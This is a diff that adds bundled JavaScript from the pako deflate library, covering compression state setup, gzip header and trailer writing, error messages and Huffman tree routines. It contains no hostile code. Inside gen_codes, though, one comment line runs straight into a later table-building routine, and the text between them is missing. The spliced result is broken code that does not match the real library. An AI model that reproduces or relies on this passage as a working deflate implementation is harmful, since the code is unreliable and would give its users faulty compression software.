+ this.d_desc = null; /* desc. for distance tree */ + this.bl_desc = null; /* desc. for bit length tree */ + + //ush bl_count[MAX_BITS+1]; + this.bl_count = new utils.Buf16(MAX_BITS + 1); + /* number of codes at each bit length for an optimal tree */ + + //int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ + this.heap = new utils.Buf16(2 * L_CODES + 1); /* heap used to build the Huffman trees */ + zero(this.heap); + + this.heap_len = 0; /* number of elements in the heap */ + this.heap_max = 0; /* element of largest frequency */ + /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. + * The same heap array is used to build all trees. + */ + + this.depth = new utils.Buf16(2 * L_CODES + 1); //uch depth[2*L_CODES+1]; + zero(this.depth); + /* Depth of each subtree used as tie breaker for trees of equal frequency + */ + + this.l_buf = 0; /* buffer index for literals or lengths */ + + this.lit_bufsize = 0; + /* Size of match buffer for literals/lengths. There are 4 reasons for + * limiting lit_bufsize to 64K: + * - frequencies can be kept in 16 bit counters + * - if compression is not successful for the first block, all input + * data is still in the window so we can still emit a stored block even + * when input comes from standard input. (This can also be done for + * all blocks if lit_bufsize is not greater than 32K.) + * - if compression is not successful for a file smaller than 64K, we can + * even emit a stored file instead of a stored block (saving 5 bytes). + * This is applicable only for zip (not gzip or zlib). + * - creating new Huffman trees less frequently may not provide fast + * adaptation to changes in the input data statistics. (Take for + * example a binary file with poorly compressible code followed by + * a highly compressible string table.) Smaller buffer sizes give + * fast adaptation but have of course the overhead of transmitting + * trees more frequently. + * - I can't count above 4 + */ + + this.last_lit = 0; /* running index in l_buf */ + + this.d_buf = 0; + /* Buffer index for distances. To simplify the code, d_buf and l_buf have + * the same number of elements. To use different lengths, an extra flag + * array would be necessary. + */ + + this.opt_len = 0; /* bit length of current block with optimal trees */ + this.static_len = 0; /* bit length of current block with static trees */ + this.matches = 0; /* number of string matches in current block */ + this.insert = 0; /* bytes at end of window left to insert */ + + + this.bi_buf = 0; + /* Output buffer. bits are inserted starting at the bottom (least + * significant bits). + */ + this.bi_valid = 0; + /* Number of valid bits in bi_buf. All bits above the last valid bit + * are always zero. + */ + + // Used for window memory init. We safely ignore it for JS. That makes + // sense only for pointers and memory check tools. + //this.high_water = 0; + /* High water mark offset in window for initialized bytes -- bytes above + * this are set to zero in order to avoid memory check warnings when + * longest match routines access bytes past the input. This is then + * updated to the new high water mark. + */ +} + + +function deflateResetKeep(strm) { + var s; + + if (!strm || !strm.state) { + return err(strm, Z_STREAM_ERROR); + } + + strm.total_in = strm.total_out = 0; + strm.data_type = Z_UNKNOWN; + + s = strm.state; + s.pending = 0; + s.pending_out = 0; + + if (s.wrap < 0) { + s.wrap = -s.wrap; + /* was made negative by deflate(..., Z_FINISH); */ + } + s.status = (s.wrap ? INIT_STATE : BUSY_STATE); + strm.adler = (s.wrap === 2) ? + 0 // crc32(0, Z_NULL, 0) + : + 1; // adler32(0, Z_NULL, 0) + s.last_flush = Z_NO_FLUSH; + trees._tr_init(s); + return Z_OK; +} + + +function deflateReset(strm) { + var ret = deflateResetKeep(strm); + if (ret === Z_OK) { + lm_init(strm.state); + } + return ret; +} + + +function deflateSetHeader(strm, head) { + if (!strm || !strm.state) { return Z_STREAM_ERROR; } + if (strm.state.wrap !== 2) { return Z_STREAM_ERROR; } + strm.state.gzhead = head; + return Z_OK; +} + + +function deflateInit2(strm, level, method, windowBits, memLevel, strategy) { + if (!strm) { // === Z_NULL + return Z_STREAM_ERROR; + } + var wrap = 1; + + if (level === Z_DEFAULT_COMPRESSION) { + level = 6; + } + + if (windowBits < 0) { /* suppress zlib wrapper */ + wrap = 0; + windowBits = -windowBits; + } + + else if (windowBits > 15) { + wrap = 2; /* write gzip wrapper instead */ + windowBits -= 16; + } + + + if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method !== Z_DEFLATED || + windowBits < 8 || windowBits > 15 || level < 0 || level > 9 || + strategy < 0 || strategy > Z_FIXED) { + return err(strm, Z_STREAM_ERROR); + } + + + if (windowBits === 8) { + windowBits = 9; + } + /* until 256-byte window bug fixed */ + + var s = new DeflateState(); + + strm.state = s; + s.strm = strm; + + s.wrap = wrap; + s.gzhead = null; + s.w_bits = windowBits; + s.w_size = 1 << s.w_bits; + s.w_mask = s.w_size - 1; + + s.hash_bits = memLevel + 7; + s.hash_size = 1 << s.hash_bits; + s.hash_mask = s.hash_size - 1; + s.hash_shift = ~~((s.hash_bits + MIN_MATCH - 1) / MIN_MATCH); + + s.window = new utils.Buf8(s.w_size * 2); + s.head = new utils.Buf16(s.hash_size); + s.prev = new utils.Buf16(s.w_size); + + // Don't need mem init magic for JS. + //s.high_water = 0; /* nothing written to s->window yet */ + + s.lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ + + s.pending_buf_size = s.lit_bufsize * 4; + + //overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); + //s->pending_buf = (uchf *) overlay; + s.pending_buf = new utils.Buf8(s.pending_buf_size); + + // It is offset from `s.pending_buf` (size is `s.lit_bufsize * 2`) + //s->d_buf = overlay + s->lit_bufsize/sizeof(ush); + s.d_buf = 1 * s.lit_bufsize; + + //s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; + s.l_buf = (1 + 2) * s.lit_bufsize; + + s.level = level; + s.strategy = strategy; + s.method = method; + + return deflateReset(strm); +} + +function deflateInit(strm, level) { + return deflateInit2(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, Z_DEFAULT_STRATEGY); +} + + +function deflate(strm, flush) { + var old_flush, s; + var beg, val; // for gzip header write only + + if (!strm || !strm.state || + flush > Z_BLOCK || flush < 0) { + return strm ? err(strm, Z_STREAM_ERROR) : Z_STREAM_ERROR; + } + + s = strm.state; + + if (!strm.output || + (!strm.input && strm.avail_in !== 0) || + (s.status === FINISH_STATE && flush !== Z_FINISH)) { + return err(strm, (strm.avail_out === 0) ? Z_BUF_ERROR : Z_STREAM_ERROR); + } + + s.strm = strm; /* just in case */ + old_flush = s.last_flush; + s.last_flush = flush; + + /* Write the header */ + if (s.status === INIT_STATE) { + + if (s.wrap === 2) { // GZIP header + strm.adler = 0; //crc32(0L, Z_NULL, 0); + put_byte(s, 31); + put_byte(s, 139); + put_byte(s, 8); + if (!s.gzhead) { // s->gzhead == Z_NULL + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, 0); + put_byte(s, s.level === 9 ? 2 : + (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2 ? + 4 : 0)); + put_byte(s, OS_CODE); + s.status = BUSY_STATE; + } + else { + put_byte(s, (s.gzhead.text ? 1 : 0) + + (s.gzhead.hcrc ? 2 : 0) + + (!s.gzhead.extra ? 0 : 4) + + (!s.gzhead.name ? 0 : 8) + + (!s.gzhead.comment ? 0 : 16) + ); + put_byte(s, s.gzhead.time & 0xff); + put_byte(s, (s.gzhead.time >> 8) & 0xff); + put_byte(s, (s.gzhead.time >> 16) & 0xff); + put_byte(s, (s.gzhead.time >> 24) & 0xff); + put_byte(s, s.level === 9 ? 2 : + (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2 ? + 4 : 0)); + put_byte(s, s.gzhead.os & 0xff); + if (s.gzhead.extra && s.gzhead.extra.length) { + put_byte(s, s.gzhead.extra.length & 0xff); + put_byte(s, (s.gzhead.extra.length >> 8) & 0xff); + } + if (s.gzhead.hcrc) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending, 0); + } + s.gzindex = 0; + s.status = EXTRA_STATE; + } + } + else // DEFLATE header + { + var header = (Z_DEFLATED + ((s.w_bits - 8) << 4)) << 8; + var level_flags = -1; + + if (s.strategy >= Z_HUFFMAN_ONLY || s.level < 2) { + level_flags = 0; + } else if (s.level < 6) { + level_flags = 1; + } else if (s.level === 6) { + level_flags = 2; + } else { + level_flags = 3; + } + header |= (level_flags << 6); + if (s.strstart !== 0) { header |= PRESET_DICT; } + header += 31 - (header % 31); + + s.status = BUSY_STATE; + putShortMSB(s, header); + + /* Save the adler32 of the preset dictionary: */ + if (s.strstart !== 0) { + putShortMSB(s, strm.adler >>> 16); + putShortMSB(s, strm.adler & 0xffff); + } + strm.adler = 1; // adler32(0L, Z_NULL, 0); + } + } + +//#ifdef GZIP + if (s.status === EXTRA_STATE) { + if (s.gzhead.extra/* != Z_NULL*/) { + beg = s.pending; /* start of bytes to update crc */ + + while (s.gzindex < (s.gzhead.extra.length & 0xffff)) { + if (s.pending === s.pending_buf_size) { + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + flush_pending(strm); + beg = s.pending; + if (s.pending === s.pending_buf_size) { + break; + } + } + put_byte(s, s.gzhead.extra[s.gzindex] & 0xff); + s.gzindex++; + } + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + if (s.gzindex === s.gzhead.extra.length) { + s.gzindex = 0; + s.status = NAME_STATE; + } + } + else { + s.status = NAME_STATE; + } + } + if (s.status === NAME_STATE) { + if (s.gzhead.name/* != Z_NULL*/) { + beg = s.pending; /* start of bytes to update crc */ + //int val; + + do { + if (s.pending === s.pending_buf_size) { + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + flush_pending(strm); + beg = s.pending; + if (s.pending === s.pending_buf_size) { + val = 1; + break; + } + } + // JS specific: little magic to add zero terminator to end of string + if (s.gzindex < s.gzhead.name.length) { + val = s.gzhead.name.charCodeAt(s.gzindex++) & 0xff; + } else { + val = 0; + } + put_byte(s, val); + } while (val !== 0); + + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + if (val === 0) { + s.gzindex = 0; + s.status = COMMENT_STATE; + } + } + else { + s.status = COMMENT_STATE; + } + } + if (s.status === COMMENT_STATE) { + if (s.gzhead.comment/* != Z_NULL*/) { + beg = s.pending; /* start of bytes to update crc */ + //int val; + + do { + if (s.pending === s.pending_buf_size) { + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + flush_pending(strm); + beg = s.pending; + if (s.pending === s.pending_buf_size) { + val = 1; + break; + } + } + // JS specific: little magic to add zero terminator to end of string + if (s.gzindex < s.gzhead.comment.length) { + val = s.gzhead.comment.charCodeAt(s.gzindex++) & 0xff; + } else { + val = 0; + } + put_byte(s, val); + } while (val !== 0); + + if (s.gzhead.hcrc && s.pending > beg) { + strm.adler = crc32(strm.adler, s.pending_buf, s.pending - beg, beg); + } + if (val === 0) { + s.status = HCRC_STATE; + } + } + else { + s.status = HCRC_STATE; + } + } + if (s.status === HCRC_STATE) { + if (s.gzhead.hcrc) { + if (s.pending + 2 > s.pending_buf_size) { + flush_pending(strm); + } + if (s.pending + 2 <= s.pending_buf_size) { + put_byte(s, strm.adler & 0xff); + put_byte(s, (strm.adler >> 8) & 0xff); + strm.adler = 0; //crc32(0L, Z_NULL, 0); + s.status = BUSY_STATE; + } + } + else { + s.status = BUSY_STATE; + } + } +//#endif + + /* Flush as much pending output as possible */ + if (s.pending !== 0) { + flush_pending(strm); + if (strm.avail_out === 0) { + /* Since avail_out is 0, deflate will be called again with + * more output space, but possibly with both pending and + * avail_in equal to zero. There won't be anything to do, + * but this is not an error situation so make sure we + * return OK instead of BUF_ERROR at next call of deflate: + */ + s.last_flush = -1; + return Z_OK; + } + + /* Make sure there is something to do and avoid duplicate consecutive + * flushes. For repeated and useless calls with Z_FINISH, we keep + * returning Z_STREAM_END instead of Z_BUF_ERROR. + */ + } else if (strm.avail_in === 0 && rank(flush) <= rank(old_flush) && + flush !== Z_FINISH) { + return err(strm, Z_BUF_ERROR); + } + + /* User must not provide more input after the first FINISH: */ + if (s.status === FINISH_STATE && strm.avail_in !== 0) { + return err(strm, Z_BUF_ERROR); + } + + /* Start a new block or continue the current one. + */ + if (strm.avail_in !== 0 || s.lookahead !== 0 || + (flush !== Z_NO_FLUSH && s.status !== FINISH_STATE)) { + var bstate = (s.strategy === Z_HUFFMAN_ONLY) ? deflate_huff(s, flush) : + (s.strategy === Z_RLE ? deflate_rle(s, flush) : + configuration_table[s.level].func(s, flush)); + + if (bstate === BS_FINISH_STARTED || bstate === BS_FINISH_DONE) { + s.status = FINISH_STATE; + } + if (bstate === BS_NEED_MORE || bstate === BS_FINISH_STARTED) { + if (strm.avail_out === 0) { + s.last_flush = -1; + /* avoid BUF_ERROR next call, see above */ + } + return Z_OK; + /* If flush != Z_NO_FLUSH && avail_out == 0, the next call + * of deflate should use the same flush parameter to make sure + * that the flush is complete. So we don't have to output an + * empty block here, this will be done at next call. This also + * ensures that for a very small output buffer, we emit at most + * one empty block. + */ + } + if (bstate === BS_BLOCK_DONE) { + if (flush === Z_PARTIAL_FLUSH) { + trees._tr_align(s); + } + else if (flush !== Z_BLOCK) { /* FULL_FLUSH or SYNC_FLUSH */ + + trees._tr_stored_block(s, 0, 0, false); + /* For a full flush, this empty block will be recognized + * as a special marker by inflate_sync(). + */ + if (flush === Z_FULL_FLUSH) { + /*** CLEAR_HASH(s); ***/ /* forget history */ + zero(s.head); // Fill with NIL (= 0); + + if (s.lookahead === 0) { + s.strstart = 0; + s.block_start = 0; + s.insert = 0; + } + } + } + flush_pending(strm); + if (strm.avail_out === 0) { + s.last_flush = -1; /* avoid BUF_ERROR at next call, see above */ + return Z_OK; + } + } + } + //Assert(strm->avail_out > 0, ""bug2""); + //if (strm.avail_out <= 0) { throw new Error(""bug2"");} + + if (flush !== Z_FINISH) { return Z_OK; } + if (s.wrap <= 0) { return Z_STREAM_END; } + + /* Write the trailer */ + if (s.wrap === 2) { + put_byte(s, strm.adler & 0xff); + put_byte(s, (strm.adler >> 8) & 0xff); + put_byte(s, (strm.adler >> 16) & 0xff); + put_byte(s, (strm.adler >> 24) & 0xff); + put_byte(s, strm.total_in & 0xff); + put_byte(s, (strm.total_in >> 8) & 0xff); + put_byte(s, (strm.total_in >> 16) & 0xff); + put_byte(s, (strm.total_in >> 24) & 0xff); + } + else + { + putShortMSB(s, strm.adler >>> 16); + putShortMSB(s, strm.adler & 0xffff); + } + + flush_pending(strm); + /* If avail_out is zero, the application will call deflate again + * to flush the rest. + */ + if (s.wrap > 0) { s.wrap = -s.wrap; } + /* write the trailer only once! */ + return s.pending !== 0 ? Z_OK : Z_STREAM_END; +} + +function deflateEnd(strm) { + var status; + + if (!strm/*== Z_NULL*/ || !strm.state/*== Z_NULL*/) { + return Z_STREAM_ERROR; + } + + status = strm.state.status; + if (status !== INIT_STATE && + status !== EXTRA_STATE && + status !== NAME_STATE && + status !== COMMENT_STATE && + status !== HCRC_STATE && + status !== BUSY_STATE && + status !== FINISH_STATE + ) { + return err(strm, Z_STREAM_ERROR); + } + + strm.state = null; + + return status === BUSY_STATE ? err(strm, Z_DATA_ERROR) : Z_OK; +} + + +/* ========================================================================= + * Initializes the compression dictionary from the given byte + * sequence without producing any compressed output. + */ +function deflateSetDictionary(strm, dictionary) { + var dictLength = dictionary.length; + + var s; + var str, n; + var wrap; + var avail; + var next; + var input; + var tmpDict; + + if (!strm/*== Z_NULL*/ || !strm.state/*== Z_NULL*/) { + return Z_STREAM_ERROR; + } + + s = strm.state; + wrap = s.wrap; + + if (wrap === 2 || (wrap === 1 && s.status !== INIT_STATE) || s.lookahead) { + return Z_STREAM_ERROR; + } + + /* when using zlib wrappers, compute Adler-32 for provided dictionary */ + if (wrap === 1) { + /* adler32(strm->adler, dictionary, dictLength); */ + strm.adler = adler32(strm.adler, dictionary, dictLength, 0); + } + + s.wrap = 0; /* avoid computing Adler-32 in read_buf */ + + /* if dictionary would fill window, just replace the history */ + if (dictLength >= s.w_size) { + if (wrap === 0) { /* already empty otherwise */ + /*** CLEAR_HASH(s); ***/ + zero(s.head); // Fill with NIL (= 0); + s.strstart = 0; + s.block_start = 0; + s.insert = 0; + } + /* use the tail */ + // dictionary = dictionary.slice(dictLength - s.w_size); + tmpDict = new utils.Buf8(s.w_size); + utils.arraySet(tmpDict, dictionary, dictLength - s.w_size, s.w_size, 0); + dictionary = tmpDict; + dictLength = s.w_size; + } + /* insert dictionary into window and hash */ + avail = strm.avail_in; + next = strm.next_in; + input = strm.input; + strm.avail_in = dictLength; + strm.next_in = 0; + strm.input = dictionary; + fill_window(s); + while (s.lookahead >= MIN_MATCH) { + str = s.strstart; + n = s.lookahead - (MIN_MATCH - 1); + do { + /* UPDATE_HASH(s, s->ins_h, s->window[str + MIN_MATCH-1]); */ + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + MIN_MATCH - 1]) & s.hash_mask; + + s.prev[str & s.w_mask] = s.head[s.ins_h]; + + s.head[s.ins_h] = str; + str++; + } while (--n); + s.strstart = str; + s.lookahead = MIN_MATCH - 1; + fill_window(s); + } + s.strstart += s.lookahead; + s.block_start = s.strstart; + s.insert = s.lookahead; + s.lookahead = 0; + s.match_length = s.prev_length = MIN_MATCH - 1; + s.match_available = 0; + strm.next_in = next; + strm.input = input; + strm.avail_in = avail; + s.wrap = wrap; + return Z_OK; +} + + +exports.deflateInit = deflateInit; +exports.deflateInit2 = deflateInit2; +exports.deflateReset = deflateReset; +exports.deflateResetKeep = deflateResetKeep; +exports.deflateSetHeader = deflateSetHeader; +exports.deflate = deflate; +exports.deflateEnd = deflateEnd; +exports.deflateSetDictionary = deflateSetDictionary; +exports.deflateInfo = 'pako deflate (from Nodeca project)'; + +/* Not implemented +exports.deflateBound = deflateBound; +exports.deflateCopy = deflateCopy; +exports.deflateParams = deflateParams; +exports.deflatePending = deflatePending; +exports.deflatePrime = deflatePrime; +exports.deflateTune = deflateTune; +*/ + +},{""../utils/common"":1,""./adler32"":3,""./crc32"":4,""./messages"":6,""./trees"":7}],6:[function(require,module,exports){ +'use strict'; + +// (C) 1995-2013 Jean-loup Gailly and Mark Adler +// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin +// +// This software is provided 'as-is', without any express or implied +// warranty. In no event will the authors be held liable for any damages +// arising from the use of this software. +// +// Permission is granted to anyone to use this software for any purpose, +// including commercial applications, and to alter it and redistribute it +// freely, subject to the following restrictions: +// +// 1. The origin of this software must not be misrepresented; you must not +// claim that you wrote the original software. If you use this software +// in a product, an acknowledgment in the product documentation would be +// appreciated but is not required. +// 2. Altered source versions must be plainly marked as such, and must not be +// misrepresented as being the original software. +// 3. This notice may not be removed or altered from any source distribution. + +module.exports = { + 2: 'need dictionary', /* Z_NEED_DICT 2 */ + 1: 'stream end', /* Z_STREAM_END 1 */ + 0: '', /* Z_OK 0 */ + '-1': 'file error', /* Z_ERRNO (-1) */ + '-2': 'stream error', /* Z_STREAM_ERROR (-2) */ + '-3': 'data error', /* Z_DATA_ERROR (-3) */ + '-4': 'insufficient memory', /* Z_MEM_ERROR (-4) */ + '-5': 'buffer error', /* Z_BUF_ERROR (-5) */ + '-6': 'incompatible version' /* Z_VERSION_ERROR (-6) */ +}; + +},{}],7:[function(require,module,exports){ +'use strict'; + +// (C) 1995-2013 Jean-loup Gailly and Mark Adler +// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin +// +// This software is provided 'as-is', without any express or implied +// warranty. In no event will the authors be held liable for any damages +// arising from the use of this software. +// +// Permission is granted to anyone to use this software for any purpose, +// including commercial applications, and to alter it and redistribute it +// freely, subject to the following restrictions: +// +// 1. The origin of this software must not be misrepresented; you must not +// claim that you wrote the original software. If you use this software +// in a product, an acknowledgment in the product documentation would be +// appreciated but is not required. +// 2. Altered source versions must be plainly marked as such, and must not be +// misrepresented as being the original software. +// 3. This notice may not be removed or altered from any source distribution. + +var utils = require('../utils/common'); + +/* Public constants ==========================================================*/ +/* ===========================================================================*/ + + +//var Z_FILTERED = 1; +//var Z_HUFFMAN_ONLY = 2; +//var Z_RLE = 3; +var Z_FIXED = 4; +//var Z_DEFAULT_STRATEGY = 0; + +/* Possible values of the data_type field (though see inflate()) */ +var Z_BINARY = 0; +var Z_TEXT = 1; +//var Z_ASCII = 1; // = Z_TEXT +var Z_UNKNOWN = 2; + +/*============================================================================*/ + + +function zero(buf) { var len = buf.length; while (--len >= 0) { buf[len] = 0; } } + +// From zutil.h + +var STORED_BLOCK = 0; +var STATIC_TREES = 1; +var DYN_TREES = 2; +/* The three kinds of block type */ + +var MIN_MATCH = 3; +var MAX_MATCH = 258; +/* The minimum and maximum match lengths */ + +// From deflate.h +/* =========================================================================== + * Internal compression state. + */ + +var LENGTH_CODES = 29; +/* number of length codes, not counting the special END_BLOCK code */ + +var LITERALS = 256; +/* number of literal bytes 0..255 */ + +var L_CODES = LITERALS + 1 + LENGTH_CODES; +/* number of Literal or Length codes, including the END_BLOCK code */ + +var D_CODES = 30; +/* number of distance codes */ + +var BL_CODES = 19; +/* number of codes used to transfer the bit lengths */ + +var HEAP_SIZE = 2 * L_CODES + 1; +/* maximum heap size */ + +var MAX_BITS = 15; +/* All codes must not exceed MAX_BITS bits */ + +var Buf_size = 16; +/* size of bit buffer in bi_buf */ + + +/* =========================================================================== + * Constants + */ + +var MAX_BL_BITS = 7; +/* Bit length codes must not exceed MAX_BL_BITS bits */ + +var END_BLOCK = 256; +/* end of block literal code */ + +var REP_3_6 = 16; +/* repeat previous bit length 3-6 times (2 bits of repeat count) */ + +var REPZ_3_10 = 17; +/* repeat a zero length 3-10 times (3 bits of repeat count) */ + +var REPZ_11_138 = 18; +/* repeat a zero length 11-138 times (7 bits of repeat count) */ + +/* eslint-disable comma-spacing,array-bracket-spacing */ +var extra_lbits = /* extra bits for each length code */ + [0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]; + +var extra_dbits = /* extra bits for each distance code */ + [0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]; + +var extra_blbits = /* extra bits for each bit length code */ + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]; + +var bl_order = + [16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]; +/* eslint-enable comma-spacing,array-bracket-spacing */ + +/* The lengths of the bit length codes are sent in order of decreasing + * probability, to avoid transmitting the lengths for unused bit length codes. + */ + +/* =========================================================================== + * Local data. These are initialized only once. + */ + +// We pre-fill arrays with 0 to avoid uninitialized gaps + +var DIST_CODE_LEN = 512; /* see definition of array dist_code below */ + +// !!!! Use flat array instead of structure, Freq = i*2, Len = i*2+1 +var static_ltree = new Array((L_CODES + 2) * 2); +zero(static_ltree); +/* The static literal tree. Since the bit lengths are imposed, there is no + * need for the L_CODES extra codes used during heap construction. However + * The codes 286 and 287 are needed to build a canonical tree (see _tr_init + * below). + */ + +var static_dtree = new Array(D_CODES * 2); +zero(static_dtree); +/* The static distance tree. (Actually a trivial tree since all codes use + * 5 bits.) + */ + +var _dist_code = new Array(DIST_CODE_LEN); +zero(_dist_code); +/* Distance codes. The first 256 values correspond to the distances + * 3 .. 258, the last 256 values correspond to the top 8 bits of + * the 15 bit distances. + */ + +var _length_code = new Array(MAX_MATCH - MIN_MATCH + 1); +zero(_length_code); +/* length code for each normalized match length (0 == MIN_MATCH) */ + +var base_length = new Array(LENGTH_CODES); +zero(base_length); +/* First normalized length for each code (0 = MIN_MATCH) */ + +var base_dist = new Array(D_CODES); +zero(base_dist); +/* First normalized distance for each code (0 = distance of 1) */ + + +function StaticTreeDesc(static_tree, extra_bits, extra_base, elems, max_length) { + + this.static_tree = static_tree; /* static tree or NULL */ + this.extra_bits = extra_bits; /* extra bits for each code or NULL */ + this.extra_base = extra_base; /* base index for extra_bits */ + this.elems = elems; /* max number of elements in the tree */ + this.max_length = max_length; /* max bit length for the codes */ + + // show if `static_tree` has data or dummy - needed for monomorphic objects + this.has_stree = static_tree && static_tree.length; +} + + +var static_l_desc; +var static_d_desc; +var static_bl_desc; + + +function TreeDesc(dyn_tree, stat_desc) { + this.dyn_tree = dyn_tree; /* the dynamic tree */ + this.max_code = 0; /* largest code with non zero frequency */ + this.stat_desc = stat_desc; /* the corresponding static tree */ +} + + + +function d_code(dist) { + return dist < 256 ? _dist_code[dist] : _dist_code[256 + (dist >>> 7)]; +} + + +/* =========================================================================== + * Output a short LSB first on the stream. + * IN assertion: there is enough room in pendingBuf. + */ +function put_short(s, w) { +// put_byte(s, (uch)((w) & 0xff)); +// put_byte(s, (uch)((ush)(w) >> 8)); + s.pending_buf[s.pending++] = (w) & 0xff; + s.pending_buf[s.pending++] = (w >>> 8) & 0xff; +} + + +/* =========================================================================== + * Send a value on a given number of bits. + * IN assertion: length <= 16 and value fits in length bits. + */ +function send_bits(s, value, length) { + if (s.bi_valid > (Buf_size - length)) { + s.bi_buf |= (value << s.bi_valid) & 0xffff; + put_short(s, s.bi_buf); + s.bi_buf = value >> (Buf_size - s.bi_valid); + s.bi_valid += length - Buf_size; + } else { + s.bi_buf |= (value << s.bi_valid) & 0xffff; + s.bi_valid += length; + } +} + + +function send_code(s, c, tree) { + send_bits(s, tree[c * 2]/*.Code*/, tree[c * 2 + 1]/*.Len*/); +} + + +/* =========================================================================== + * Reverse the first len bits of a code, using straightforward code (a faster + * method would use a table) + * IN assertion: 1 <= len <= 15 + */ +function bi_reverse(code, len) { + var res = 0; + do { + res |= code & 1; + code >>>= 1; + res <<= 1; + } while (--len > 0); + return res >>> 1; +} + + +/* =========================================================================== + * Flush the bit buffer, keeping at most 7 bits in it. + */ +function bi_flush(s) { + if (s.bi_valid === 16) { + put_short(s, s.bi_buf); + s.bi_buf = 0; + s.bi_valid = 0; + + } else if (s.bi_valid >= 8) { + s.pending_buf[s.pending++] = s.bi_buf & 0xff; + s.bi_buf >>= 8; + s.bi_valid -= 8; + } +} + + +/* =========================================================================== + * Compute the optimal bit lengths for a tree and update the total bit length + * for the current block. + * IN assertion: the fields freq and dad are set, heap[heap_max] and + * above are the tree nodes sorted by increasing frequency. + * OUT assertions: the field len is set to the optimal bit length, the + * array bl_count contains the frequencies for each bit length. + * The length opt_len is updated; static_len is also updated if stree is + * not null. + */ +function gen_bitlen(s, desc) +// deflate_state *s; +// tree_desc *desc; /* the tree descriptor */ +{ + var tree = desc.dyn_tree; + var max_code = desc.max_code; + var stree = desc.stat_desc.static_tree; + var has_stree = desc.stat_desc.has_stree; + var extra = desc.stat_desc.extra_bits; + var base = desc.stat_desc.extra_base; + var max_length = desc.stat_desc.max_length; + var h; /* heap index */ + var n, m; /* iterate over the tree elements */ + var bits; /* bit length */ + var xbits; /* extra bits */ + var f; /* frequency */ + var overflow = 0; /* number of elements with bit length too large */ + + for (bits = 0; bits <= MAX_BITS; bits++) { + s.bl_count[bits] = 0; + } + + /* In a first pass, compute the optimal bit lengths (which may + * overflow in the case of the bit length tree). + */ + tree[s.heap[s.heap_max] * 2 + 1]/*.Len*/ = 0; /* root of the heap */ + + for (h = s.heap_max + 1; h < HEAP_SIZE; h++) { + n = s.heap[h]; + bits = tree[tree[n * 2 + 1]/*.Dad*/ * 2 + 1]/*.Len*/ + 1; + if (bits > max_length) { + bits = max_length; + overflow++; + } + tree[n * 2 + 1]/*.Len*/ = bits; + /* We overwrite tree[n].Dad which is no longer needed */ + + if (n > max_code) { continue; } /* not a leaf node */ + + s.bl_count[bits]++; + xbits = 0; + if (n >= base) { + xbits = extra[n - base]; + } + f = tree[n * 2]/*.Freq*/; + s.opt_len += f * (bits + xbits); + if (has_stree) { + s.static_len += f * (stree[n * 2 + 1]/*.Len*/ + xbits); + } + } + if (overflow === 0) { return; } + + // Trace((stderr,""\nbit length overflow\n"")); + /* This happens for example on obj2 and pic of the Calgary corpus */ + + /* Find the first bit length which could increase: */ + do { + bits = max_length - 1; + while (s.bl_count[bits] === 0) { bits--; } + s.bl_count[bits]--; /* move one leaf down the tree */ + s.bl_count[bits + 1] += 2; /* move one overflow item as its brother */ + s.bl_count[max_length]--; + /* The brother of the overflow item also moves one step up, + * but this does not affect bl_count[max_length] + */ + overflow -= 2; + } while (overflow > 0); + + /* Now recompute all bit lengths, scanning in increasing frequency. + * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all + * lengths instead of fixing only the wrong ones. This idea is taken + * from 'ar' written by Haruhiko Okumura.) + */ + for (bits = max_length; bits !== 0; bits--) { + n = s.bl_count[bits]; + while (n !== 0) { + m = s.heap[--h]; + if (m > max_code) { continue; } + if (tree[m * 2 + 1]/*.Len*/ !== bits) { + // Trace((stderr,""code %d bits %d->%d\n"", m, tree[m].Len, bits)); + s.opt_len += (bits - tree[m * 2 + 1]/*.Len*/) * tree[m * 2]/*.Freq*/; + tree[m * 2 + 1]/*.Len*/ = bits; + } + n--; + } + } +} + + +/* =========================================================================== + * Generate the codes for a given tree and bit counts (which need not be + * optimal). + * IN assertion: the array bl_count contains the bit length statistics for + * the given tree and the field len is set for all tree elements. + * OUT assertion: the field code is set for all tree elements of non + * zero code length. + */ +function gen_codes(tree, max_code, bl_count) +// ct_data *tree; /* the tree to decorate */ +// int max_code; /* largest code with non zero frequency */ +// ushf *bl_count; /* number of codes at each bit length */ +{ + var next_code = new Array(MAX_BITS + 1); /* next code value for each bit length */ + var code = 0; /* running code value */ + var bits; /* bit index */ + var n; /* code index */ + + /* The distribution counts are first used to generate the code values + * without bit reversal. + */ + for (bits = 1; bits <= MAX_BITS; bits++) { + next_code[bits] = code = (code + bl_count[bits - 1]) << 1; + } + /* Check that the bit counts in bl_count are consistent. The last code + * must be all ones. + */ + //Assert (code + bl_count[MAX_BITS]-1 == (1< length code (0..28) */ + length = 0; + for (code = 0; code < LENGTH_CODES - 1; code++) { + base_length[code] = length; + for (n = 0; 